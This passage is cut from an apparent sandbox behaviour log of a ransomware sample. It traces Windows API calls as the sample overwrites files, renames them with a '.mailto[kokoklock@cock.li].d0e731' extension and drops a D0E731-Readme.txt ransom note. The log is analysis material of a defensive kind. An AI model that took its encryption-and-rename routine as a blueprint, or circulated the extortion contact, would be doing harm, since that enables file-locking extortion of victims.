(HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0064.299] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0064.299] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33eff90 [0064.299] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eff90) returned 1 [0064.300] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x5614fe8 [0064.301] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f0030 [0064.301] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33eff18 [0064.301] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eff18) returned 1 [0064.301] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0064.301] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0064.301] WriteFile (in: hFile=0x390, lpBuffer=0x5614fe8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xb6afd18, lpOverlapped=0x0 | out: lpBuffer=0x5614fe8*, lpNumberOfBytesWritten=0xb6afd18*=0x4096, lpOverlapped=0x0) returned 1 [0064.301] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x5614fe8) returned 1 [0064.301] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x1397e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.301] WriteFile (in: hFile=0x390, lpBuffer=0x33f0030*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb6afd50, lpOverlapped=0x0 | out: lpBuffer=0x33f0030*, lpNumberOfBytesWritten=0xb6afd50*=0x20, lpOverlapped=0x0) returned 1 [0064.301] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0030) returned 1 [0064.301] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55e4868) returned 1 [0064.302] WriteFile (in: hFile=0x390, lpBuffer=0x33f0148*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb6afd64, lpOverlapped=0x0 | out: lpBuffer=0x33f0148*, lpNumberOfBytesWritten=0xb6afd64*=0x8, lpOverlapped=0x0) returned 1 [0064.302] WriteFile (in: hFile=0x390, lpBuffer=0xb6afd7c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb6afd64, lpOverlapped=0x0 | out: lpBuffer=0xb6afd7c*, lpNumberOfBytesWritten=0xb6afd64*=0x4, lpOverlapped=0x0) returned 1 [0064.302] WriteFile (in: hFile=0x390, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb6afd64, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xb6afd64*=0x4, lpOverlapped=0x0) returned 1 [0064.302] WriteFile (in: hFile=0x390, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb6afd64, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xb6afd64*=0x6c, lpOverlapped=0x0) returned 1 [0064.302] WriteFile (in: hFile=0x390, lpBuffer=0x347cb00*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb6afd64, lpOverlapped=0x0 | out: lpBuffer=0x347cb00*, lpNumberOfBytesWritten=0xb6afd64*=0x20, lpOverlapped=0x0) returned 1 [0064.302] WriteFile (in: hFile=0x390, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb6afd64, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xb6afd64*=0x4, lpOverlapped=0x0) returned 1 [0064.303] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cb00) returned 1 [0064.303] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f00d0) returned 1 [0064.303] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0148) returned 1 [0064.303] CloseHandle (hObject=0x390) returned 1 [0066.414] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e67c8 [0066.414] wcscpy (in: _Dest=0x33e67c8, _Source="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" [0066.414] wcscat (in: _Dest=0x33e67c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0066.414] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0078.196] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0078.197] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e67c8) returned 1 [0078.197] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml", dwFileAttributes=0x80) returned 0 [0078.197] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426e60 [0078.197] wcscpy (in: _Dest=0x3426e60, _Source="C:\\588bce7c90097ed212\\2070\\" | out: _Dest="C:\\588bce7c90097ed212\\2070\\") returned="C:\\588bce7c90097ed212\\2070\\" [0078.197] wcscat (in: _Dest=0x3426e60, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\2070\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\2070\\D0E731-Readme.txt" [0078.197] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\2070\\d0e731-readme.txt")) returned 0xffffffff [0078.197] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\2070\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x740 [0084.875] WriteFile (in: hFile=0x740, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0xb6afd60, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0xb6afd60*=0x481, lpOverlapped=0x0) returned 1 [0084.876] CloseHandle (hObject=0x740) returned 1 [0084.876] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426e60) returned 1 [0084.876] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e88d8) returned 1 [0084.876] RtlExitUserThread (Status=0x1) Thread: id = 214 os_tid = 0x11d0 [0063.476] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 0x80 [0066.372] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf", dwFileAttributes=0x20) returned 1 [0068.569] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0068.569] GetFileSizeEx (in: hFile=0x470, lpFileSize=0xb72fec4 | out: lpFileSize=0xb72fec4*=5827) returned 1 [0068.569] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x16bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.569] ReadFile (in: hFile=0x470, lpBuffer=0xb72fe98, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb72fe94, lpOverlapped=0x0 | out: lpBuffer=0xb72fe98*, lpNumberOfBytesRead=0xb72fe94*=0x4, lpOverlapped=0x0) returned 1 [0068.575] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.575] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423d80 [0068.575] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423920 [0068.575] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423b78 [0068.575] NtQuerySystemTime (in: CurrentTime=0xb72fe70 | out: CurrentTime=0xb72fe70*=132121176264765944) returned 0x0 [0068.576] RtlRandom (in: Seed=0xb72fe7c | out: Seed=0xb72fe7c) returned 0xd7417e27 [0068.576] RtlRandom (in: Seed=0xb72fe7c | out: Seed=0xb72fe7c) returned 0x4b5c8dcb [0068.576] RtlRandom (in: Seed=0xb72fe7c | out: Seed=0xb72fe7c) returned 0xc680c9d1 [0068.576] RtlRandom (in: Seed=0xb72fe7c | out: Seed=0xb72fe7c) returned 0xc19e5720 [0068.576] RtlRandom (in: Seed=0xb72fe7c | out: Seed=0xb72fe7c) returned 0xbe6557a4 [0068.576] RtlRandom (in: Seed=0xb72fe7c | out: Seed=0xb72fe7c) returned 0x7a18e76c [0068.576] RtlRandom (in: Seed=0xb72fe7c | out: Seed=0xb72fe7c) returned 0xb9ead234 [0068.576] RtlRandom (in: Seed=0xb72fe7c | out: Seed=0xb72fe7c) returned 0x4de382f9 [0068.576] RtlRandom (in: Seed=0xb72fe7c | out: Seed=0xb72fe7c) returned 0xcc552cc1 [0068.576] RtlRandom (in: Seed=0xb72fe7c | out: Seed=0xb72fe7c) returned 0x3bb5591f [0068.576] RtlRandom (in: Seed=0xb72fe7c | out: Seed=0xb72fe7c) returned 0xbfa43633 [0068.576] RtlRandom (in: Seed=0xb72fe7c | out: Seed=0xb72fe7c) returned 0xd95eac50 [0068.576] RtlRandom (in: Seed=0xb72fe7c | out: Seed=0xb72fe7c) returned 0x23c61d3f [0068.576] RtlRandom (in: Seed=0xb72fe7c | out: Seed=0xb72fe7c) returned 0xa51a0885 [0068.576] RtlRandom (in: Seed=0xb72fe7c | out: Seed=0xb72fe7c) returned 0x8909d133 [0068.576] RtlRandom (in: Seed=0xb72fe7c | out: Seed=0xb72fe7c) returned 0xdf50a42f [0068.576] RtlRandom (in: Seed=0xb72fe7c | out: Seed=0xb72fe7c) returned 0x51cd7ecd [0068.576] RtlRandom (in: Seed=0xb72fe7c | out: Seed=0xb72fe7c) returned 0x4e08d82e [0068.576] RtlRandom (in: Seed=0xb72fe7c | out: Seed=0xb72fe7c) returned 0x5f01fc6d [0068.576] RtlRandom (in: Seed=0xb72fe7c | out: Seed=0xb72fe7c) returned 0x4aa6c58b [0068.576] RtlRandom (in: Seed=0xb72fe7c | out: Seed=0xb72fe7c) returned 0x3508550b [0068.576] RtlRandom (in: Seed=0xb72fe7c | out: Seed=0xb72fe7c) returned 0xd340066 [0068.576] RtlRandom (in: Seed=0xb72fe7c | out: Seed=0xb72fe7c) returned 0xd43418e6 [0068.576] RtlRandom (in: Seed=0xb72fe7c | out: Seed=0xb72fe7c) returned 0xb5996d9d [0068.576] RtlRandom (in: Seed=0xb72fe7c | out: Seed=0xb72fe7c) returned 0x95ec9fff [0068.576] RtlRandom (in: Seed=0xb72fe7c | out: Seed=0xb72fe7c) returned 0xa13986bc [0068.576] RtlRandom (in: Seed=0xb72fe7c | out: Seed=0xb72fe7c) returned 0x822ea093 [0068.576] RtlRandom (in: Seed=0xb72fe7c | out: Seed=0xb72fe7c) returned 0xddbc22d8 [0068.576] RtlRandom (in: Seed=0xb72fe7c | out: Seed=0xb72fe7c) returned 0x55adb75b [0068.576] RtlRandom (in: Seed=0xb72fe7c | out: Seed=0xb72fe7c) returned 0x9f08a16b [0068.576] RtlRandom (in: Seed=0xb72fe7c | out: Seed=0xb72fe7c) returned 0x3205f4d [0068.576] RtlRandom (in: Seed=0xb72fe7c | out: Seed=0xb72fe7c) returned 0x37816138 [0068.589] ReadFile (in: hFile=0x470, lpBuffer=0x3475830, nNumberOfBytesToRead=0x16c3, lpNumberOfBytesRead=0xb72fe70, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xb72fe70*=0x16c3, lpOverlapped=0x0) returned 1 [0068.590] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xb72fe38 | out: lpNewFilePointer=0x0) returned 1 [0068.590] WriteFile (in: hFile=0x470, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x16c3, lpNumberOfBytesWritten=0xb72fe6c, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0xb72fe6c*=0x16c3, lpOverlapped=0x0) returned 1 [0068.590] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423a10 [0068.590] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423d80 [0068.590] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423d80) returned 1 [0068.590] WriteFile (in: hFile=0x470, lpBuffer=0x3423a10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb72fe68, lpOverlapped=0x0 | out: lpBuffer=0x3423a10*, lpNumberOfBytesWritten=0xb72fe68*=0x20, lpOverlapped=0x0) returned 1 [0068.590] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423a10) returned 1 [0068.590] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0068.590] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0068.590] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0068.590] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0068.590] WriteFile (in: hFile=0x470, lpBuffer=0x34239e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb72fe94, lpOverlapped=0x0 | out: lpBuffer=0x34239e8*, lpNumberOfBytesWritten=0xb72fe94*=0x8, lpOverlapped=0x0) returned 1 [0068.591] WriteFile (in: hFile=0x470, lpBuffer=0xb72feac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb72fe94, lpOverlapped=0x0 | out: lpBuffer=0xb72feac*, lpNumberOfBytesWritten=0xb72fe94*=0x4, lpOverlapped=0x0) returned 1 [0068.591] WriteFile (in: hFile=0x470, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb72fe94, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xb72fe94*=0x4, lpOverlapped=0x0) returned 1 [0068.591] WriteFile (in: hFile=0x470, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb72fe94, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xb72fe94*=0x6c, lpOverlapped=0x0) returned 1 [0068.591] WriteFile (in: hFile=0x470, lpBuffer=0x3423920*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb72fe94, lpOverlapped=0x0 | out: lpBuffer=0x3423920*, lpNumberOfBytesWritten=0xb72fe94*=0x20, lpOverlapped=0x0) returned 1 [0068.591] WriteFile (in: hFile=0x470, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb72fe94, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xb72fe94*=0x4, lpOverlapped=0x0) returned 1 [0068.591] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423920) returned 1 [0068.591] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34239c0) returned 1 [0068.591] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34239e8) returned 1 [0068.591] CloseHandle (hObject=0x470) returned 1 [0071.297] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347c1f8 [0071.297] wcscpy (in: _Dest=0x347c1f8, _Source="C:\\588bce7c90097ed212\\2052\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned="C:\\588bce7c90097ed212\\2052\\eula.rtf" [0071.297] wcscat (in: _Dest=0x347c1f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\2052\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\2052\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0071.297] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.297] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0071.301] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c1f8) returned 1 [0071.301] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf", dwFileAttributes=0x80) returned 0 [0071.301] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3427410 [0071.301] wcscpy (in: _Dest=0x3427410, _Source="C:\\588bce7c90097ed212\\2052\\" | out: _Dest="C:\\588bce7c90097ed212\\2052\\") returned="C:\\588bce7c90097ed212\\2052\\" [0071.301] wcscat (in: _Dest=0x3427410, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\2052\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\2052\\D0E731-Readme.txt" [0071.301] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\2052\\d0e731-readme.txt")) returned 0x20 [0071.301] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427410) returned 1 [0071.301] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fa878) returned 1 [0071.301] RtlExitUserThread (Status=0x1) Thread: id = 215 os_tid = 0x11d4 [0063.477] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 0x80 [0064.636] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0071.268] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0071.268] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0xb7af88c | out: lpFileSize=0xb7af88c*=60684) returned 1 [0071.268] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0xed08, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.268] ReadFile (in: hFile=0x3b8, lpBuffer=0xb7af860, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb7af85c, lpOverlapped=0x0 | out: lpBuffer=0xb7af860*, lpNumberOfBytesRead=0xb7af85c*=0x4, lpOverlapped=0x0) returned 1 [0071.269] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.270] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0071.270] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e10 [0071.270] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422cf8 [0071.270] NtQuerySystemTime (in: CurrentTime=0xb7af838 | out: CurrentTime=0xb7af838*=132121176291660200) returned 0x0 [0071.270] RtlRandom (in: Seed=0xb7af844 | out: Seed=0xb7af844) returned 0xe3238e09 [0071.270] RtlRandom (in: Seed=0xb7af844 | out: Seed=0xb7af844) returned 0x899d0150 [0071.270] RtlRandom (in: Seed=0xb7af844 | out: Seed=0xb7af844) returned 0xd51e0e32 [0071.270] RtlRandom (in: Seed=0xb7af844 | out: Seed=0xb7af844) returned 0xd78914f7 [0071.270] RtlRandom (in: Seed=0xb7af844 | out: Seed=0xb7af844) returned 0x8128ab6e [0071.270] RtlRandom (in: Seed=0xb7af844 | out: Seed=0xb7af844) returned 0xc9cce1fb [0071.270] RtlRandom (in: Seed=0xb7af844 | out: Seed=0xb7af844) returned 0xd8b27052 [0071.270] RtlRandom (in: Seed=0xb7af844 | out: Seed=0xb7af844) returned 0x2b3e3c13 [0071.270] RtlRandom (in: Seed=0xb7af844 | out: Seed=0xb7af844) returned 0x26e8c1b0 [0071.270] RtlRandom (in: Seed=0xb7af844 | out: Seed=0xb7af844) returned 0x306fbb4d [0071.270] RtlRandom (in: Seed=0xb7af844 | out: Seed=0xb7af844) returned 0xf2a98973 [0071.270] RtlRandom (in: Seed=0xb7af844 | out: Seed=0xb7af844) returned 0x760ff4f7 [0071.270] RtlRandom (in: Seed=0xb7af844 | out: Seed=0xb7af844) returned 0x4654adc6 [0071.270] RtlRandom (in: Seed=0xb7af844 | out: Seed=0xb7af844) returned 0xb52f90fa [0071.270] RtlRandom (in: Seed=0xb7af844 | out: Seed=0xb7af844) returned 0x5992f27a [0071.270] RtlRandom (in: Seed=0xb7af844 | out: Seed=0xb7af844) returned 0x6235465c [0071.270] RtlRandom (in: Seed=0xb7af844 | out: Seed=0xb7af844) returned 0xda45ea9f [0071.270] RtlRandom (in: Seed=0xb7af844 | out: Seed=0xb7af844) returned 0x9749eee6 [0071.270] RtlRandom (in: Seed=0xb7af844 | out: Seed=0xb7af844) returned 0xbd863ffa [0071.270] RtlRandom (in: Seed=0xb7af844 | out: Seed=0xb7af844) returned 0x1e630153 [0071.270] RtlRandom (in: Seed=0xb7af844 | out: Seed=0xb7af844) returned 0x90f4f203 [0071.270] RtlRandom (in: Seed=0xb7af844 | out: Seed=0xb7af844) returned 0xd3a742e6 [0071.270] RtlRandom (in: Seed=0xb7af844 | out: Seed=0xb7af844) returned 0xf70f1b7b [0071.270] RtlRandom (in: Seed=0xb7af844 | out: Seed=0xb7af844) returned 0xa7bd5410 [0071.270] RtlRandom (in: Seed=0xb7af844 | out: Seed=0xb7af844) returned 0xe952d07e [0071.270] RtlRandom (in: Seed=0xb7af844 | out: Seed=0xb7af844) returned 0xfe51db41 [0071.270] RtlRandom (in: Seed=0xb7af844 | out: Seed=0xb7af844) returned 0xdc7392cb [0071.270] RtlRandom (in: Seed=0xb7af844 | out: Seed=0xb7af844) returned 0xb58fe08f [0071.270] RtlRandom (in: Seed=0xb7af844 | out: Seed=0xb7af844) returned 0x6b4ad77a [0071.271] RtlRandom (in: Seed=0xb7af844 | out: Seed=0xb7af844) returned 0xed4feeef [0071.271] RtlRandom (in: Seed=0xb7af844 | out: Seed=0xb7af844) returned 0xfcb058ba [0071.271] RtlRandom (in: Seed=0xb7af844 | out: Seed=0xb7af844) returned 0x4ebe140 [0071.288] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.288] ReadFile (in: hFile=0x3b8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xb7af810, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xb7af810*=0x4096, lpOverlapped=0x0) returned 1 [0071.289] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.289] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0071.289] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f88 [0071.289] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e38 [0071.289] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e38) returned 1 [0071.290] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0071.290] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0071.290] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e38 [0071.290] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e38) returned 1 [0071.290] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f88) returned 1 [0071.290] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0071.290] WriteFile (in: hFile=0x3b8, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xb7af810, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0xb7af810*=0x4096, lpOverlapped=0x0) returned 1 [0071.290] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0071.290] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0xed0c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.290] WriteFile (in: hFile=0x3b8, lpBuffer=0x3422fa0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb7af848, lpOverlapped=0x0 | out: lpBuffer=0x3422fa0*, lpNumberOfBytesWritten=0xb7af848*=0x20, lpOverlapped=0x0) returned 1 [0071.290] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422fa0) returned 1 [0071.290] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0071.290] WriteFile (in: hFile=0x3b8, lpBuffer=0x3422e60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb7af85c, lpOverlapped=0x0 | out: lpBuffer=0x3422e60*, lpNumberOfBytesWritten=0xb7af85c*=0x8, lpOverlapped=0x0) returned 1 [0071.291] WriteFile (in: hFile=0x3b8, lpBuffer=0xb7af874*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb7af85c, lpOverlapped=0x0 | out: lpBuffer=0xb7af874*, lpNumberOfBytesWritten=0xb7af85c*=0x4, lpOverlapped=0x0) returned 1 [0071.291] WriteFile (in: hFile=0x3b8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb7af85c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xb7af85c*=0x4, lpOverlapped=0x0) returned 1 [0071.291] WriteFile (in: hFile=0x3b8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb7af85c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xb7af85c*=0x6c, lpOverlapped=0x0) returned 1 [0071.291] WriteFile (in: hFile=0x3b8, lpBuffer=0x3422e10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb7af85c, lpOverlapped=0x0 | out: lpBuffer=0x3422e10*, lpNumberOfBytesWritten=0xb7af85c*=0x20, lpOverlapped=0x0) returned 1 [0071.291] WriteFile (in: hFile=0x3b8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb7af85c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xb7af85c*=0x4, lpOverlapped=0x0) returned 1 [0071.291] 